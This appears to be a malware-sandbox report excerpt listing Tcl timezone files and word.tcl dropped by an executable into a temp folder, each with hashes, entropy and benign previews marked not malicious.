Malicious:	false
Reputation:	unknown
Preview:	# created by ../tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Phoenix)]} {. LoadTimeZoneFile America/Phoenix.}.set TZData(:SystemV/MST7) $TZData(:America/Phoenix).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\SystemV\MST7MDT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.909831110037175
Encrypted:	false
SSDEEP:	3:SlEVFLLJJT8QFCZaMuUyqx06RGFwVAIg206RAO0LkRMMFfh4IAcGE6Ru:SlSNJB9IZaM3y7+SwVAIgp+iLkD490+u
MD5:	895E9BAF5EDF0928D4962C3E6650D843
SHA1:	52513BFA267CA2E84FDDF3C252A4E8FD059F2847
SHA-256:	465A4DE93F2B103981A54827CDEBB10350A385515BB8648D493FD376AABD40AF
SHA-512:	CAF19320F0F507160E024C37E26987A99F2276622F2A6D8D1B7E3068E5459960840F4202FF8A98738B9BCA0F42451304FC136CBD36BBFE39F616622217AD89A3
Malicious:	false
Reputation:	unknown
Preview:	# created by ../tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Denver)]} {. LoadTimeZoneFile America/Denver.}.set TZData(:SystemV/MST7MDT) $TZData(:America/Denver).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\SystemV\PST8

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	187
Entropy (8bit):	4.782387645904801
Encrypted:	false
SSDEEP:	3:SlEVFLLJJT8QFCZaMuUyqTQGuQTWLM4YkvFVAIgObTuQTWLvqtkRQB5nUDHuQTWi:SlSNJB9IZaM3yciQyLM4YmFVAIgObiQq
MD5:	67AE3FD76B2202F3B1CF0BBC664DE8D0
SHA1:	4603DE0753B684A8D7ACB78A6164D5686542EE8E
SHA-256:	30B3FC95A7CB0A6AC586BADF47E9EFA4498995C58B80A03DA2F1F3E8A2F3553B
SHA-512:	BF45D0CA674DD631D3E8442DFB333812B5B31DE61576B8BE33B94E0433936BC1CD568D9FC522C84551E770660BE2A98F45FE3DB4B6577968DF57071795B53AD9
Malicious:	false
Reputation:	unknown
Preview:	# created by ../tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Pitcairn)]} {. LoadTimeZoneFile Pacific/Pitcairn.}.set TZData(:SystemV/PST8) $TZData(:Pacific/Pitcairn).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\SystemV\PST8PDT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.959254419324467
Encrypted:	false
SSDEEP:	6:SlSNJB9IZaM3y7DvwFVAIgpdJLkQ1p490Dvn:JBaIMYFpdJLh090z
MD5:	DFB48E0E2CE5D55DC60B3E95B7D12813
SHA1:	535E0BF050E41DCFCE08686AFDFAFF9AAFEF220C
SHA-256:	74096A41C38F6E0641934C84563277EBA33C5159C7C564C7FF316D050083DD6D
SHA-512:	3ECDF3950ED3FB3123D6C1389A2A877842B90F677873A0C106C4CA6B180EEC38A26C74E21E8A3036DA8980FF7CA9E1578B0E1D1A3EA364A4175772F468747425
Malicious:	false
Reputation:	unknown
Preview:	# created by ../tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Los_Angeles)]} {. LoadTimeZoneFile America/Los_Angeles.}.set TZData(:SystemV/PST8PDT) $TZData(:America/Los_Angeles).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\SystemV\YST9

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.905971098884841
Encrypted:	false
SSDEEP:	3:SlEVFLLJJT8QFCZaMuUyqTQG5hB5pVAIgObT5hBiLkRKlUDH5hBun:SlSNJB9IZaM3ycTpVAIgOb4LkK
MD5:	CED0A343EF3A316902A10467B2F66B9B
SHA1:	5884E6BA28FD71A944CA2ED9CB118B9E108EF7CB
SHA-256:	1BB5A98B80989539135EAB3885BBA20B1E113C19CB664FB2DA6B150DD1F44F68
SHA-512:	903D1DC6D1E192D4A98B84247037AE171804D250BB5CB84D2C5E145A0BDC50FCD543B70BAFF8440AFF59DA14084C8CEEFB2F912A02B36B7571B0EEEC154983B3
Malicious:	false
Reputation:	unknown
Preview:	# created by ../tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Gambier)]} {. LoadTimeZoneFile Pacific/Gambier.}.set TZData(:SystemV/YST9) $TZData(:Pacific/Gambier).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\SystemV\YST9YDT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.949109665596263
Encrypted:	false
SSDEEP:	6:SlSNJB9IZaM3y7/9EtDvFVAIgp/9EmLkB490/9E6:JBaIMY/944p/9xLN90/9F
MD5:	D588930E34CF0A03EFEE7BFBC5022BC3
SHA1:	0714C6ECAAF7B4D23272443E5E401CE141735E78
SHA-256:	4D1CAE3C453090667549AB83A8DE6F9B654AAC5F540192886E5756A01D21A253
SHA-512:	ABE69BEF808D7B0BEF9F49804D4A753E033D7C99A7EA57745FE4C3CBE2C26114A8845A219ED6DEAB8FA009FDB86E384687068C1BCF8B704CCF24DA7029455802
Malicious:	false
Reputation:	unknown
Preview:	# created by ../tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Anchorage)]} {. LoadTimeZoneFile America/Anchorage.}.set TZData(:SystemV/YST9YDT) $TZData(:America/Anchorage).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Turkey

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.882090609090058
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxV0XaDvFVAIgoq3XPHtjCl1yQaqXNn:SlSWB9IZaM3ymQazFVAIgoQPHtSymN
MD5:	41703ED241199F0588E1FC6FF0F33E90
SHA1:	08B4785E21E21DFE333766A7198C325CD062347B
SHA-256:	4B8A8CE69EE94D7E1D49A2E00E2944675B66BD16302FE90E9020845767B0509B
SHA-512:	F90F6B0002274AF57B2749262E1530E21906162E4D1F3BE89639B5449269F3026A7F710C24765E913BC23DEC5A6BF97FC0DD465972892D851B6EAEEF025846CA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Istanbul)]} {. LoadTimeZoneFile Europe/Istanbul.}.set TZData(:Turkey) $TZData(:Europe/Istanbul).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\UCT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.792993822845485
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAmMwFVAIghO6iGMFfh8RS:SlSWB9IZaM3y1wFVAIghFiP8RS
MD5:	1921CC58408AD2D7ED3B5308C71B1A28
SHA1:	12F832D7B3682DC28A49481B8FBA8C55DCDC60D0
SHA-256:	92FC6E3AA418F94C486CE5BF6861FAA4E85047189E98B90DA78D814810E88CE7
SHA-512:	EB134E2E7F7A811BFA8223EB4E98A94905EA24891FD95AB29B52DE2F683C97E086AA2F7B2EA93FBA2451AAEDD22F01219D700812DABC7D6670028ACF9AAB8367
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UCT)]} {. LoadTimeZoneFile Etc/UCT.}.set TZData(:UCT) $TZData(:Etc/UCT).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Alaska

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.864166947846424
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0/VXEtDvFVAIg20/VXE0JLiOGl0IAcGE/VXE6n:SlSWB9IZaM3y7/9EtDvFVAIgp/9EmLiB
MD5:	0763082FF8721616592350D8372D59FF
SHA1:	CEBB03EB7F44530CF52DCA7D55DC912015604D94
SHA-256:	94FDFE2901596FC5DCE74A5560431F3E777AE1EBEEE59712393AE2323F17ADFA
SHA-512:	DFE8AAA009C28C209A925BBE5509589C0087F6CC78F94763BFA9F1F311427E3FF2E377EB340590383D790D3578C1BB37D41525408D027763EA96ECB3A3AAD65D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Anchorage)]} {. LoadTimeZoneFile America/Anchorage.}.set TZData(:US/Alaska) $TZData(:America/Anchorage).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Aleutian

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.839824852896375
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0/yO5pVAIg20/yOvYvtiObMEIB/4IAcGE/yOun:SlSWB9IZaM3y7/ykVAIgp/y9FitE8/47
MD5:	01142938A2E5F30FADE20294C829C116
SHA1:	8F9317E0D3836AF916ED5530176C2BF7A929C3C7
SHA-256:	1DD79263FB253217C36A9E7DDCB2B3F35F208E2CE812DCDE5FD924593472E4FE
SHA-512:	2C47FE8E8ED0833F4724EF353A9A6DFCE3B6614DA744E64364E9AB423EC92565FEF1E8940CB12A0BCCFE0BD6B44583AF230A4ABCC0BAE3D9DC43FBB2C7941CFF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Adak)]} {. LoadTimeZoneFile America/Adak.}.set TZData(:US/Aleutian) $TZData(:America/Adak).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Arizona

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.886225611026426
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0utLaDvFVAIg20utLPtiQMfQfBx+IAcGEutLNn:SlSWB9IZaM3y7O+FVAIgpObtiZfQfH+v
MD5:	090DC30F7914D5A5B0033586F3158384
SHA1:	2F526A63A1C47F88E320BE1C12CA8887DA2DC989
SHA-256:	47D25266ABBD752D61903C903ED3E9CB485A7C01BD2AA354C5B50DEBC253E01A
SHA-512:	5FE75328595B5DECDAC8D318BEE89EAD744A881898A4B45DD2ABB5344B13D8AFB180E4A8F8D098A9589488D9379B0153CBC5CF638AF7011DE89C57B554F42757
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Phoenix)]} {. LoadTimeZoneFile America/Phoenix.}.set TZData(:US/Arizona) $TZData(:America/Phoenix).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Central

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.854450230853601
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx096dVAIg2096zAtibXgox/h4IAcGE96s:SlSWB9IZaM3y796dVAIgp96WiB49096s
MD5:	E0801B5A57F40D42E8AF6D48C2A41467
SHA1:	A49456A1BF1B73C6B284E0764AEAFD1464E70DDC
SHA-256:	16C7FFCE60495E5B0CB65D6D5A0C3C5AA9E62BD6BC067ABD3CD0F691DA41C952
SHA-512:	3DE6A41B88D6485FD1DED2DB9AB9DAD87B9F9F95AA929D38BF6498FC0FD76A1048CE1B68F24CD22C487073F59BD955AFCB9B7BF3B20090F81FA250A5E7674A53
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Chicago)]} {. LoadTimeZoneFile America/Chicago.}.set TZData(:US/Central) $TZData(:America/Chicago).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\East-Indiana

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.715837665658945
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y73GK7mFVAIgp3GKBLi3E0903GK1:MBaIMY3GK7Hp3GKBLi3t903GK1
MD5:	1A27644D1BF2299B7CDDED7F405D6570
SHA1:	BD03290A6E7A967152E2E4F95A82E01E7C35F63C
SHA-256:	1C46FAEDFACEB862B2E4D5BD6AC63E5182E1E2CFD2E1CDFA2661D698CC8B0072
SHA-512:	9D6F3E945656DD97A7E956886C1123B298A87704D4F5671E4D1E94531C01F8BE377D83239D8BE78E2B3E1C0C20E5779BA3978F817A6982FE607A18A7FDCF57FB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Indiana/Indianapolis)]} {. LoadTimeZoneFile America/Indiana/Indianapolis.}.set TZData(:US/East-Indiana) $TZData(:America/Indiana/Indianapolis).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Eastern

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.990255962392122
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0wAy0vwVAIg20wAyati37oxp4IAcGEwAy0v:SlSWB9IZaM3y71KVAIgp1Bi37oxp490n
MD5:	3FE03D768F8E535506D92A6BC3C03FD2
SHA1:	F82BF149CE203B5A4A1E106A495D3409AF7A07AC
SHA-256:	9F46C0E46F6FE26719E2CF1FA05C7646530B65FB17D4101258D357568C489D77
SHA-512:	ADFDBB270113A192B2378CC347DD8A57FDBDC776B06F9E16033EE8D5EAB49E16234CA2523580EEBB4DCDD27F33222EDD5514F0D7D85723597F059C5D6131E1B0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/New_York)]} {. LoadTimeZoneFile America/New_York.}.set TZData(:US/Eastern) $TZData(:America/New_York).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Hawaii

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.832149382727646
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqTQG2fWGYFedVAIgObT2fWzvNioMN75nUDH2fWRn:SlSWB9IZaM3yc6e8dVAIgOb6ezvNioEe
MD5:	347E51049A05224D18F264D08F360CBB
SHA1:	A801725A9B01B5E08C63BD2568C8F5D084F0EB02
SHA-256:	EA5D18E4A7505406D6027AD34395297BCF5E3290283C7CC28B4A34DB8AFBDD97
SHA-512:	C9B96C005D90DD8F317A697F59393D20663DE74D6E4D0B45BCE109B31A328D7AA62C51FAA8D00C728C0342940EF3B0F0921814B31BD7FE128A6E95F92CF50E06
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Honolulu)]} {. LoadTimeZoneFile Pacific/Honolulu.}.set TZData(:US/Hawaii) $TZData(:Pacific/Honolulu).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Indiana-Starke

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	201
Entropy (8bit):	4.825742972037525
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y73GKXFVAIgp3GK4NiGIfh4903GKk:MBaIMY3GKXQp3GKeiBfh4903GKk
MD5:	E111813F4C9B888427B8363949C87C72
SHA1:	96B6692DCD932DCC856804BE0C2145538C4B2B33
SHA-256:	4E896634F3A400786BBD996D1FE0D5C9A346E337027B240F1671A7E4B38C8F69
SHA-512:	97726D7EDB7D7A1F6E815A0B875CAF9E2D2D27F50ECC866FBC6CB1B88836E8C2D64A9C108CD917C9D641B30822397664A2AC8010EADF0FF2A6C205AE4D5E7A2F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Indiana/Knox)]} {. LoadTimeZoneFile America/Indiana/Knox.}.set TZData(:US/Indiana-Starke) $TZData(:America/Indiana/Knox).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Michigan

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.7846496799669405
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx06FQGFwVAIg206FQN6iHaMCELMr4IAcGE6FQu:SlSWB9IZaM3y74PFwVAIgp4xiHaMHL+U
MD5:	80A9A00EC1C5904A67DC3E8B2FDC3150
SHA1:	8E79FBEB49D9620E793E4976D0B9085E32C57E83
SHA-256:	8DB76FC871DD334DA87297660B145F8692AD053B352A19C2EFCD74AF923D762D
SHA-512:	0A5662E33C60030265ECAD1FF683B18F6B99543CA5FE22F88BCE597702FBEA20358BCB9A568D7F8B32158D9E6A3D294081D183644AD49C22AC3512F97BE480D4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Detroit)]} {. LoadTimeZoneFile America/Detroit.}.set TZData(:US/Michigan) $TZData(:America/Detroit).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Mountain

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.84430947557215
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx06RGFwVAIg206RAO0LiBOlLo/4IAcGE6Ru:SlSWB9IZaM3y7+SwVAIgp+iLiBY8/49G
MD5:	13D6C7CF459995691E37741ACAF0A18D
SHA1:	A0626763930C282DF21ED3AA8F1B35033BA2F9DC
SHA-256:	223B5C8E34F459D7B221B83C45DBB2827ABE376653BAA1BC56D09D50DF136B08
SHA-512:	9076DFECC5D02DB38ECE3D2512D52566675D98A857711676E891D8741EA588153954357FE19F4C69305FF05D0F99286F1D496DF0C7FDBC8D59803D1B1CFA5F07
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Denver)]} {. LoadTimeZoneFile America/Denver.}.set TZData(:US/Mountain) $TZData(:America/Denver).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Pacific

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	191
Entropy (8bit):	4.885594237758327
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0ydJg4owFVAIg20ydJEvRLiP+e2IAcGEydJgvn:SlSWB9IZaM3y7DvwFVAIgpdJLip290Dv
MD5:	EBF51CD015BD387FA2BB30DE8806BDDA
SHA1:	63C2E2F4CD8BC719A06D59EF4CE4C31F17F53EA0
SHA-256:	B7AD78FB955E267C0D75B5F7279071EE17B6DD2842DAD61ADA0165129ADE6A86
SHA-512:	22BECE2AEAD66D921F38B04FDC5A41F2627FCC532A171EA1C9C9457C22CD79EFD1EC3C7CC62BC016751208AD1D064B0F03C2185F096982F73740D8426495F5ED
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Los_Angeles)]} {. LoadTimeZoneFile America/Los_Angeles.}.set TZData(:US/Pacific) $TZData(:America/Los_Angeles).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Pacific-New

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.931883193402467
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7DvwFVAIgpdJLi0Q90Dvn:MBaIMYFpdJLix90z
MD5:	01CD3EBFDB7715805572CDA3F81AC78A
SHA1:	C013C38D2FB9E649EE43FED6910382150C2B3DF5
SHA-256:	DEFE67C520303EF85B381EBEAED4511C0ACF8C49922519023C525E6A1B09B9DD
SHA-512:	266F35C34001CD4FF00F51F5CDF05E1F4D0B037F276EFD2D124C8AE3391D00128416D16D886B3ECDF9E9EFC81C66B2FD4ED55F154437ED5AA32876B855289190
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Los_Angeles)]} {. LoadTimeZoneFile America/Los_Angeles.}.set TZData(:US/Pacific-New) $TZData(:America/Los_Angeles).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\US\Samoa

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.789322986138067
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqTQGurKeTIVAIgObTurKeUAti6A5nUDHurKeTv:SlSWB9IZaM3ycieZVAIgObieiidXeg
MD5:	E883D478518F6DAF8173361A8D308D34
SHA1:	ABD97858655B0069BFD5E11DD95BF6D7C2109AEA
SHA-256:	DD4B1812A309F90ABBD001C3C73CC2AF1D4116128787DE961453CCBE53EC9B6A
SHA-512:	DA1FE6D92424404111CBB18CA39C8E29FA1F9D2FD262D46231FB7A1A78D79D00F92F5D1DEBB9B92565D1E3BA03EF20D2A44B76BA0FC8B257A601EED5976386CC
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Pago_Pago)]} {. LoadTimeZoneFile Pacific/Pago_Pago.}.set TZData(:US/Samoa) $TZData(:Pacific/Pago_Pago).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\UTC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.792993822845485
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAxmSwFVAIgESRLiLB5h8RFu:SlSWB9IZaM3yzUFVAIgBLiLfh8RI
MD5:	530F5381F9CD8542ED5690E47FC83358
SHA1:	29A065F004F23A5E3606C2DB50DC0AB28CAFC785
SHA-256:	AC0FF734DA267E5F20AB573DBD8C0BD7613B84D86FDA3C0809832F848E142BC8
SHA-512:	4328BDFD6AA935FD539EE2D4A3EBA8DD2A1BD9F44BA0CF30AA0C4EA57B0A58E3CDFAA312366A0F93766AE445E6E210EE57CD5ED60F74173EDF67C1C5CB987C68
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UTC)]} {. LoadTimeZoneFile Etc/UTC.}.set TZData(:UTC) $TZData(:Etc/UTC).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Universal

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	154
Entropy (8bit):	4.829496870339919
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAxmSwFVAIgESRLiL7DJMFfh8RFu:SlSWB9IZaM3yzUFVAIgBLiL7VMr8RI
MD5:	60878BB8E8BE290911CAB2A16AAFAEF7
SHA1:	15C01523EDA134D3E38ECC0A5909A4579BD2A00D
SHA-256:	9324B6C871AC55771C44B82BF4A92AE0BE3B2CC64EBA9FE878571225FD38F818
SHA-512:	C697401F1C979F5A4D33E1026DCE5C77603E56A48405511A09D8CE178F1BF47D60F217E7897061F71CFEA63CC041E64340EF6BAEE0EB037AFD34C71BF0591E3E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UTC)]} {. LoadTimeZoneFile Etc/UTC.}.set TZData(:Universal) $TZData(:Etc/UTC).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\W-SU

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.9534620854837295
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVwTwpVAIgoqzTcYFgIuyQauTnn:SlSWB9IZaM3ymdVAIgohYFgXymn
MD5:	58FBF79D86DBCFF53F74BF7FE5C12DD6
SHA1:	EA8B3317B012A661B3BA4A1FAE0DC5DEDC03BC26
SHA-256:	0DECFEACCE2E2D88C29CB696E7974F89A687084B3DB9564CDED6FC97BCD74E1F
SHA-512:	083B449DE987A634F7199666F9C685EADD643C2C2DD9C8F6C188388266729CE0179F9DC0CD432D713E5FB1649D0AA1A066FE616FC43DA65C4CD787D8E0DE00A6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Moscow)]} {. LoadTimeZoneFile Europe/Moscow.}.set TZData(:W-SU) $TZData(:Europe/Moscow).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\WET

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6694
Entropy (8bit):	3.6896780927557495
Encrypted:	false
SSDEEP:	96:D6U5vo30NSfAewvtj544IrvfMS4pBs6nLUxZlJFXmA3SG7iL8malvkUEYo4Q:5PIMj544IrvfMsbxZTH7qwQ
MD5:	CD86A6ED164FEB33535D74DF52DC49A5
SHA1:	89843BF23AB113847DCC576990A4FF2CABCA03FE
SHA-256:	AF28754C77BA41712E9C49EF3C9E08F7D43812E3317AD4E2192E971AD2C9B02D
SHA-512:	80C0A7C3BDD458CA4C1505B2144A3AD969F7B2F2732CCBE4E773FBB6ED446C2961E0B5AFFBC124D43CE9AB530C42C8AEC7100E7817566629CE9D01AC057E3549
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:WET) {. {-9223372036854775808 0 0 WET}. {228877200 3600 1 WEST}. {243997200 0 0 WET}. {260326800 3600 1 WEST}. {276051600 0 0 WET}. {291776400 3600 1 WEST}. {307501200 0 0 WET}. {323830800 3600 1 WEST}. {338950800 0 0 WET}. {354675600 3600 1 WEST}. {370400400 0 0 WET}. {386125200 3600 1 WEST}. {401850000 0 0 WET}. {417574800 3600 1 WEST}. {433299600 0 0 WET}. {449024400 3600 1 WEST}. {465354000 0 0 WET}. {481078800 3600 1 WEST}. {496803600 0 0 WET}. {512528400 3600 1 WEST}. {528253200 0 0 WET}. {543978000 3600 1 WEST}. {559702800 0 0 WET}. {575427600 3600 1 WEST}. {591152400 0 0 WET}. {606877200 3600 1 WEST}. {622602000 0 0 WET}. {638326800 3600 1 WEST}. {654656400 0 0 WET}. {670381200 3600 1 WEST}. {686106000 0 0 WET}. {701830800 3600 1 WEST}. {717555600 0 0 WET}. {733280400 3600 1 WEST}. {749005200 0 0 WET}. {764730000 36

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Zulu

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.830292555237936
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAxmSwFVAIgESRLtaFBURFu:SlSWB9IZaM3yzUFVAIgBLYFaRI
MD5:	6C7C2CE174DB462A3E66D9A8B67A28EB
SHA1:	73B74BEBCDAEBDA4F46748BCA149BC4C7FE82722
SHA-256:	4472453E5346AAA1E1D4E22B87FDC5F3170AA013F894546087D0DC96D4B6EC43
SHA-512:	07209059E5E5EB5EE12821C1AC46922DA2715EB7D7196A478F0FA6866594D3C69F4C50006B0EE517CBF6DB07164915F976398EBBD88717A070D750D5D106BA5D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UTC)]} {. LoadTimeZoneFile Etc/UTC.}.set TZData(:Zulu) $TZData(:Etc/UTC).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\word.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.7695981796995355
Encrypted:	false
SSDEEP:	96:Le+U54W3Jp3jgr9a+1FeS9D/CkXg6gvF9D/CYjX16AyyrGuA11/JRJ6xMa89RJ6m:q+W/ga+P39DCd6gt9DC+6AjG9Vn6xMV3
MD5:	DE79F133B24EFA0AD1A8CB0B1F90210F
SHA1:	3C7133228F078C3EB2FBDC05481226FF7D82F40D
SHA-256:	64585C5327B0710D31BFF61C14564FF289ACAAD8743174F95544D8C04306D8C7
SHA-512:	E6F515139B980EDD420E0CD2883146C3C3F472381C8F55E65284CF50AE7D87EFF20B775D539A5FE7F0007DE52DC50F351464F988FE956E916B767D2629D897F9
Malicious:	false
Reputation:	unknown
